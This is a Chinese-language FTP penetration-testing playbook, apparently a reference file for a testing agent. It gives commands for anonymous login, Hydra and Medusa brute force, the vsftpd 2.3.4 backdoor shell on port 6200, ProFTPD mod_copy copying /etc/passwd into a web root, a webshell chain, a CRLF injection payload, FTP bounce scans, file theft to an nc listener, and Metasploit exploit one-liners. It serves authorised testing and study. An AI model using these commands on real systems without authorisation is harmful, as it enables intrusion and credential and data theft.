FTP 渗透测试方法论 (21)
深入参考
- FTP 命令大全、Bounce 攻击细节、漏洞利用命令、配置审计 -> 读 references/ftp-commands.md
整体决策树
发现 21 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ Banner 抓取 (nc / openssl / nmap) │ ├─ 识别 FTP 软件与版本 (vsftpd / ProFTPD / Pure-FTPd / FileZilla 等) │ └─ 判断是否支持 TLS/SSL │ ├─ 是 -> 使用 lftp 或 openssl s_client 连接 │ └─ 否 -> 明文协议，可直接嗅探凭据 ├─ Phase 2: 匿名访问测试 │ ├─ anonymous:anonymous 登录 │ │ ├─ 成功 -> 进入 Phase 3 枚举文件 │ │ └─ 失败 -> 尝试 anonymous:(空) / ftp:ftp │ └─ 仍失败 -> 进入 Phase 4 凭据攻击 ├─ Phase 3: 目录枚举与文件下载 │ ├─ 列出全部文件 (含隐藏文件) │ ├─ 递归下载 (wget -m) │ ├─ 识别高价值文件 (.conf / .bak / .sql / .txt / 私钥) │ └─ 检查可写权限 │ ├─ 可写 + Web 根目录 -> Webshell 上传 (Phase 5.3) │ └─ 可写 + 非 Web 目录 -> 标记用于后续利用 ├─ Phase 4: 凭据攻击 │ ├─ 默认凭据测试 (SecLists ftp-betterdefaultpasslist.txt) │ ├─ Hydra / Medusa 爆破 │ └─ Nmap ftp-brute 脚本 ├─ Phase 5: 漏洞利用 │ ├─ 5.1 vsftpd 2.3.4 后门 (端口 6200) │ ├─ 5.2 ProFTPD mod_copy (SITE CPFR/CPTO) │ ├─ 5.3 FTP 根目录映射到 Web 根目录 (XAMPP/ProFTPD) │ └─ 5.4 FileZilla Server 管理端口 (14147) └─ Phase 6: FTP Bounce 攻击 ├─ 端口扫描 (PORT + LIST 响应判断) ├─ 协议交互 (通过 FTP 向 HTTP/其他服务发送请求) └─ 跨 FTP 文件窃取 (中间人 Bounce 下载)
Phase 1: 服务发现与版本识别
1.1 Banner 抓取
bash# 基础 Banner 抓取 nc -vn <IP> 21 # TLS 场景 — 获取证书和 Banner openssl s_client -connect <IP>:21 -starttls ftp # Nmap 服务版本探测 + 默认脚本 sudo nmap -sV -sC -p 21 <IP>
1.2 FTP 特性探测
连接后发送 HELP、FEAT、STAT 获取服务器支持的命令和特性信息。
特性探测 ├─ HELP -> 列出支持的 FTP 命令 ├─ FEAT -> 列出扩展特性 (AUTH TLS / UTF8 / MLST 等) ├─ STAT -> 服务器状态、版本、配置信息 └─ SYST -> 操作系统类型 (UNIX / Windows)
1.3 TLS/STARTTLS 连接
bashlftp lftp :~> set ftp:ssl-force true lftp :~> set ssl:verify-certificate no lftp :~> connect <IP> lftp <IP>:~> login <username> <password>
1.4 Nmap FTP 脚本全集
bashnmap --script ftp-* -p 21 <IP>
包含匿名登录检测、Bounce 检测、版本识别等。
关键判断：
- vsftpd 2.3.4 -> 存在后门，立即进入 Phase 5.1
- ProFTPD 1.3.3c-1.3.5 -> 检查 mod_copy，进入 Phase 5.2
- FTP 根在 Web 目录下 -> 可上传 Webshell，进入 Phase 5.3
Phase 2: 匿名访问测试
2.1 匿名登录尝试
匿名登录凭据组合 ├─ anonymous : anonymous ├─ anonymous : (空) ├─ ftp : ftp └─ anonymous : <任意邮箱>
bashftp <IP> # 用户名: anonymous # 密码: anonymous
2.2 登录后基本操作
bashls -a # 列出所有文件（含隐藏） binary # 切换二进制传输模式 ascii # 切换 ASCII 传输模式 pwd # 当前目录 cd <dir> # 切换目录 bye # 退出
2.3 浏览器连接
ftp://anonymous:anonymous@<IP>
注意：Web 应用若将用户输入直接传递给 FTP 服务器，双重 URL 编码 %250d%250a 可注入 FTP 命令（CRLF 注入）。
Phase 3: 目录枚举与文件下载
3.1 批量下载
bash# wget 递归镜像下载 wget -m ftp://anonymous:anonymous@<IP> # 被动模式失败时使用主动模式 wget -m --no-passive ftp://anonymous:anonymous@<IP> # 带特殊字符的凭据 wget -r --user="USERNAME" --password="PASSWORD" ftp://<IP>/
3.2 关注的高价值文件
高价值文件识别 ├─ 配置文件: .conf / .cfg / .ini / .xml / web.config ├─ 备份文件: .bak / .old / .sql / .tar.gz / .zip ├─ 凭据文件: .htpasswd / shadow / passwd / id_rsa ├─ 脚本文件: .sh / .py / .php / .asp └─ 隐藏文件: .开头的文件 (ls -a 才可见)
3.3 可写权限检查
尝试上传测试文件判断写入权限：
bash# FTP 客户端内 put /tmp/test.txt test.txt # 成功 -> 可写，记录路径 # 失败 -> 无写入权限
-> 详细 FTP 命令参考 -> 读 references/ftp-commands.md
Phase 4: 凭据攻击
4.1 攻击决策树
凭据攻击 ├─ 默认凭据 │ └─ SecLists: Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ├─ 暴力破解 │ ├─ Hydra (推荐，支持限速) │ │ └─ hydra -t 1 -l <user> -P <wordlist> -vV <IP> ftp │ ├─ Medusa │ │ └─ medusa -h <IP> -u <user> -P <wordlist> -M ftp │ └─ Nmap 脚本 │ └─ nmap --script ftp-brute -p 21 <IP> └─ Metasploit └─ auxiliary/scanner/ftp/ftp_login
4.2 常见默认凭据
| 用户名 | 常见密码 |
|---|---|
| anonymous | anonymous / (空) |
| ftp | ftp |
| admin | admin / password |
| root | root / toor |
| user | user / password |
Phase 5: 漏洞利用
5.1 vsftpd 2.3.4 后门
条件：vsftpd 版本恰好为 2.3.4（被植入恶意后门）
vsftpd 2.3.4 后门利用 ├─ 触发: 用户名包含 ":)" 字符 │ └─ 发送 USER user:) / PASS any ├─ 结果: 在端口 6200 打开 root shell │ └─ nc <IP> 6200 └─ Metasploit: └─ exploit/unix/ftp/vsftpd_234_backdoor
5.2 ProFTPD mod_copy (SITE CPFR/CPTO)
条件：ProFTPD 1.3.5 及以下，mod_copy 模块启用
mod_copy 利用 ├─ 无需认证即可复制服务器上的文件 ├─ SITE CPFR /etc/passwd # 指定源文件 ├─ SITE CPTO /var/www/passwd # 复制到可访问位置 └─ 场景: ├─ 读取敏感文件 -> 复制到 Web 目录通过 HTTP 下载 └─ 写入 Webshell -> 复制 PHP 文件到 Web 根目录
5.3 FTP 根目录映射到 Web 根目录
条件：XAMPP/ProFTPD 等环境，FTP 根映射到 /opt/lampp/htdocs 或类似 Web 根目录
FTP -> Webshell 攻击链 ├─ 1) 通过 FTP 上传 PHP Webshell (需写权限) ├─ 2) 通过 HTTP 访问触发 Webshell ├─ 3) 通过 Webshell 执行下载/反弹 Shell └─ 若当前目录不可执行 -> 尝试 /tmp 或其他可写路径
5.4 FileZilla Server 管理端口
条件：FileZilla Server 运行，管理端口 14147 可达
FileZilla 管理攻击 ├─ 端口 14147 默认空密码 ├─ 建立 SSH 隧道或端口转发到本地 ├─ 连接管理接口，创建新 FTP 用户 └─ 使用新用户访问 FTP 服务
5.5 其他已知漏洞
FTP 漏洞速查 ├─ ProFTPD │ ├─ mod_copy (SITE CPFR/CPTO) — 上文已述 │ ├─ CVE-2015-3306 — 未认证文件复制 │ └─ searchsploit proftpd ├─ vsftpd │ ├─ 2.3.4 后门 — 上文已述 │ └─ searchsploit vsftpd ├─ Pure-FTPd │ └─ searchsploit pure-ftpd ├─ Wu-FTPd │ └─ searchsploit wu-ftpd └─ 通用: searchsploit ftp
-> 详细漏洞利用命令 -> 读 references/ftp-commands.md
Phase 6: FTP Bounce 攻击
6.1 原理
FTP 的 PORT 命令允许客户端指定数据连接的目标 IP 和端口。如果服务器不限制第三方地址，攻击者可利用 FTP 服务器作为代理：
FTP Bounce 攻击面 ├─ 端口扫描 — 通过响应码判断端口开放/关闭 │ ├─ 150 File status okay -> 端口开放 │ └─ 425 No connection established -> 端口关闭 ├─ 协议交互 — 上传含 HTTP/FTP 命令的文件，通过 RETR 发送 └─ 跨 FTP 文件窃取 — 通过 Bounce 从内网 FTP 下载文件
6.2 Bounce 端口扫描
手动方式：
bash# 1. 连接 FTP # 2. PORT 指向目标 IP:Port PORT 172,32,80,80,0,80 # 扫描 172.32.80.80:80 # 或 EPRT |1|172.32.80.80|80| # IPv4；IPv6 使用 |2|IPv6|port| # 3. LIST 触发连接 # 150 -> 端口开放; 425 -> 端口关闭
Nmap Bounce 扫描：
bashnmap -b <user>:<pass>@<ftp_server> <victim_ip> nmap -Pn -v -p 21,80,443 -b ftp:ftp@<ftp_server> <victim_ip> nmap -Pn -v -p 21,22,445,80,443 -b ftp:ftp@<ftp_server> 192.168.0.1/24
6.3 Bounce 协议交互
通过 FTP Bounce 发送 HTTP 请求 ├─ 1) 构造包含 HTTP 请求的文本文件 (行结束符 0x0d 0x0a) ├─ 2) 上传到 FTP 服务器 ├─ 3) REST X — 跳过不需要发送的字节 (如文件头) ├─ 4) PORT 指向目标 HTTP 服务器 ├─ 5) RETR 发送请求文件 └─ 注意: Socket not writable 错误常见 ├─ 对策: 重复请求内容至 ~0.5MB ├─ 对策: 填充空字节/垃圾数据 └─ 对策: 重复 RETR 命令
6.4 跨 FTP 文件窃取
中间 FTP 服务器 Bounce 下载 ├─ 条件: 中间服务器和目标服务器都允许 PORT 第三方地址 ├─ 流程: │ ├─ 1) 攻击者开启 TCP 监听 (nc -lvnp 2121 > loot.bin) │ ├─ 2) 构造包含 FTP 登录+下载命令的指令文件 │ ├─ 3) 上传指令文件到中间 FTP 服务器 │ ├─ 4) PORT 指向目标 FTP 端口，RETR 触发指令执行 │ └─ 5) 目标 FTP 将文件发送到攻击者监听端口 └─ Nmap 快速检测 Bounce 可行性: └─ nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
-> 完整 Bounce 攻击步骤和自动化脚本 -> 读 references/ftp-commands.md
配置文件审计
获取访问权限后检查 FTP 服务器配置：
常见配置文件位置
FTP 配置文件 ├─ /etc/vsftpd.conf # vsftpd 主配置 ├─ /etc/vsftpd/vsftpd.conf # CentOS/RHEL ├─ /etc/ftpusers # 禁止 FTP 登录的用户 ├─ /etc/proftpd/proftpd.conf # ProFTPD └─ /etc/pure-ftpd/ # Pure-FTPd
vsftpd 危险配置
| 配置项 | 风险说明 |
|---|---|
anonymous_enable=YES | 允许匿名登录 |
anon_upload_enable=YES | 匿名用户可上传文件 |
anon_mkdir_write_enable=YES | 匿名用户可创建目录 |
no_anon_password=YES | 匿名登录无需密码 |
write_enable=YES | 允许 STOR/DELE/RNFR 等写入命令 |
chown_uploads=YES | 匿名上传文件属主变更 |
local_enable=YES | 允许本地系统用户登录 |
Metasploit 快速参考
bash# 匿名登录检测 msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit' # 版本探测 msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit' # 目录遍历检测 msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS <IP>; set RPORT 21; run; exit' # vsftpd 后门利用 msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS <IP>; run; exit'
